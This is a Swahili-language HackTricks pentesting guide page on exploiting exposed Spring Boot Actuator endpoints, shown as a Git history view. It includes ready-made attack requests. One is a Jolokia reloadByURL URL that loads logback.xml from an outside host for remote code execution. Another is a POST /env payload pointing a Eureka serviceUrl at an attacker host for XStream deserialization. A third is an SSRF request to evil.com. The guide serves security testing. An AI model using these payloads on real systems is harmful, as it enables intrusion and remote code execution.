hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

88 lines
5.6 KiB
Markdown
Raw Normal View History

2022-10-10 09:20:50 +00:00
# Spring Actuators
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:24:39 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2023-03-02 18:08:43 +00:00
## **Spring Auth Bypass**
<figure><img src="../../.gitbook/assets/image (927).png" alt=""><figcaption></figcaption></figure>
2023-03-02 18:08:43 +00:00
**Kutoka kwa** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
2020-10-15 10:27:50 +00:00
## Kutumia Spring Boot Actuators
2020-10-15 10:27:50 +00:00
**Angalia chapisho halisi kutoka** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
2023-03-02 18:08:43 +00:00
2024-02-11 02:13:58 +00:00
### **Mambo Muhimu:**
2020-10-15 10:27:50 +00:00
* Spring Boot Actuators hujisajili kwa njia kama vile `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo 1 hadi 1.4, sehemu hizi zinapatikana bila uwakilishi. Kutoka toleo 1.5 kuendelea, ni `/health` na `/info` pekee ambazo sio nyeti kwa default, lakini wabunifu mara nyingi huzima usalama huu.
* Baadhi ya sehemu za Actuator zinaweza kufunua data nyeti au kuruhusu hatua zenye madhara:
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, na `/heapdump`.
* Katika Spring Boot 1.x, actuators zinasajiliwa chini ya URL ya msingi, wakati katika 2.x, zinasajiliwa chini ya njia ya msingi ya `/actuator/`.
2020-10-15 10:27:50 +00:00
### **Mbinu za Kutumia:**
2020-10-15 10:27:50 +00:00
2024-02-11 02:13:58 +00:00
1. **Utekelezaji wa Kanuni Kijijini kupitia '/jolokia'**:
* Sehemu ya actuator ya `/jolokia` inafunua Maktaba ya Jolokia, ambayo inaruhusu ufikiaji wa HTTP kwa MBeans.
* Hatua ya `reloadByURL` inaweza kutumika kutekeleza upya mizunguko ya kuingiza kutoka kwa URL ya nje, ambayo inaweza kusababisha XXE ya upofu au Utekelezaji wa Kanuni Kijijini kupitia mizunguko iliyoundwa ya XML.
* URL ya kutekeleza mfano: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Ubunifu wa Mipangilio kupitia '/env'**:
* Ikiwa Maktaba za Spring Cloud zipo, sehemu ya `/env` inaruhusu ubadilishaji wa mali ya mazingira.
* Mali zinaweza kubadilishwa kudanganya udhaifu, kama vile udhaifu wa uhariri wa XStream katika huduma ya Eureka serviceURL.
* Ombi la POST la mfano la ubunifu:
2020-10-15 10:27:50 +00:00
2024-02-11 02:13:58 +00:00
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
2020-10-15 10:27:50 +00:00
2024-02-11 02:13:58 +00:00
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Mipangilio Mingine Muhimu**:
* Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa mbinu mbalimbali za kudanganya, kama vile kuingiza SQL au kubadilisha misemo ya uunganisho wa database.
2020-10-15 10:27:50 +00:00
2024-02-11 02:13:58 +00:00
### **Maelezo Zaidi:**
2020-10-15 10:27:50 +00:00
* Orodha kamili ya actuators za msingi inaweza kupatikana [hapa](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
* Sehemu ya `/env` katika Spring Boot 2.x hutumia muundo wa JSON kwa ubadilishaji wa mali, lakini dhana kuu inabaki ile ile.
2020-10-15 10:27:50 +00:00
2024-02-11 02:13:58 +00:00
### **Mada Zinazohusiana:**
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
1. **Env + H2 RCE**:
* Maelezo kuhusu kutumia mchanganyiko wa sehemu ya `/env` na database ya H2 yanaweza kupatikana [hapa](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF kwenye Spring Boot Kupitia Ufafanuzi Mbaya wa Jina la Njia**:
* Kushughulikia kwa Spring framework ya vigezo vya matriki (`;`) katika majina ya njia za HTTP kunaweza kutumika kwa Server-Side Request Forgery (SSRF).
* Ombi la ubunifu la kudanganya:
2020-10-15 10:27:50 +00:00
2024-02-11 02:13:58 +00:00
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
2020-10-15 10:27:50 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:24:39 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>